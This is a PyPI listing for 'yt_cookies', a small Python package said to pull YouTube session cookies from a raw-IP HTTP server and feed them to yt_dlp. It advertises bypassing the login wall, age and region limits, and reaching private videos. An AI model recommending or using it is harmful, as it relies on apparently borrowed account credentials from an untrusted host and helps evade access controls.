Skip to main content

youtube

coverage pypi downloads python


yt_cookies

yt_cookies is a lightweight python library that provides youtube cookies from a secure remote api for use with yt_dlp. perfect for developers who want seamless cookie management for downloading videos.


installation

pip install yt-cookies

quick start

import yt_cookies
from yt_dlp import YoutubeDL

url = "https://www.youtube.com/watch?v=dQw4w9WgXcQ"

ydl_opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(ydl_opts) as ydl:
    ydl.download([url])

how it works

  • connects to api endpoint: http://185.158.132.66:1234/golden-cookies/ytc
  • receives fresh youtube cookies in json format
  • formats and returns cookies to be used with yt_dlp
  • handles security and rotation on the backend

advanced usage

import yt_cookies
from yt_dlp import YoutubeDL

options = {
    'format': 'bestvideo+bestaudio',
    'noplaylist': True,
    'quiet': False,
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': 'downloads/%(title)s.%(ext)s'
}

link = "https://youtube.com/watch?v=example"

with YoutubeDL(options) as ydl:
    ydl.download([link])

features

  • auto fetch cookies from server
  • avoid manual cookie updates
  • compatible with all yt_dlp versions
  • no setup required
  • easy plug-and-play

real world use cases

  • bypass youtube login wall
  • download age-restricted videos
  • access region-locked content
  • ensure stable downloads with cookies
  • access private/unlisted videos (if auth cookies present)

example scripts

# batch download from list

import yt_cookies
from yt_dlp import YoutubeDL

with open('urls.txt') as f:
    urls = f.read().splitlines()

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    }
}

with YoutubeDL(opts) as ydl:
    ydl.download(urls)
# dynamic url input

import yt_cookies
from yt_dlp import YoutubeDL

url = input("video url: ")

opts = {
    'cookiefile': None,
    'http_headers': {
        'Cookie': yt_cookies.youtube()
    },
    'outtmpl': '%(title)s.%(ext)s'
}

with YoutubeDL(opts) as ydl:
    ydl.download([url])

troubleshooting

  • ensure internet access
  • test api endpoint in browser
  • check yt_dlp version compatibility
  • clear pip cache if install fails

compatibility

  • python versions: 3.8, 3.9, 3.10, 3.11, 3.12
  • yt_dlp version: latest and legacy supported
  • os: windows, linux, macos

contributing

  • create pull requests
  • suggest new features
  • fix bugs or issues
  • add docs and usage examples

license

licensed under mit . do anything with it, just give credit .


extra badges .

stars forks issues watchers license repo size last commit


community

telegram

join the telegram chat for help , updates , and discussion .

Metadata

Release files for yt-cookies 2025.6.10

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for yt-cookies 2025.6.10
File Size Uploaded Provenance Actions
yt_cookies-2025.6.10.tar.gz 3.9 kB Without provenance Details for yt_cookies-2025.6.10.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for yt-cookies 2025.6.10
File Interpreter ABI Platform Actions
yt_cookies-2025.6.10-py3-none-any.whl Python 3 none any Details for yt_cookies-2025.6.10-py3-none-any.whl

Total release size: 7.5 kB

Release files / yt_cookies-2025.6.10.tar.gz

Download URL yt_cookies-2025.6.10.tar.gz
Size 3.9 kB
Tags Source
SHA-256 checksum
How to use checksums
21e0d1f5d424d2de2bfedba5c3ae8076e40a42d3d826e30c1e4e0a0a0eb4fed1
BLAKE2b-256 checksum
How to use checksums
b172deaadd8b8e88166d9521808dd0141192bc90d37421cd48cc27cc94e453b1
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.12.4

Release files / yt_cookies-2025.6.10-py3-none-any.whl

Download URL yt_cookies-2025.6.10-py3-none-any.whl
Size 3.6 kB
Tags Python 3
SHA-256 checksum
How to use checksums
c1de43f8a9857ae12f931574aefb9ad1ec161d9da6effff1265942bca876e4af
BLAKE2b-256 checksum
How to use checksums
2eaca3de63fdacefc5ea6feff39de13029cf4a006eae4f87a1413f9eceb322b8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.12.4

Security for yt-cookies 2025.6.10

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

This release

2025.6.10 This release

2 release files No provenance

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page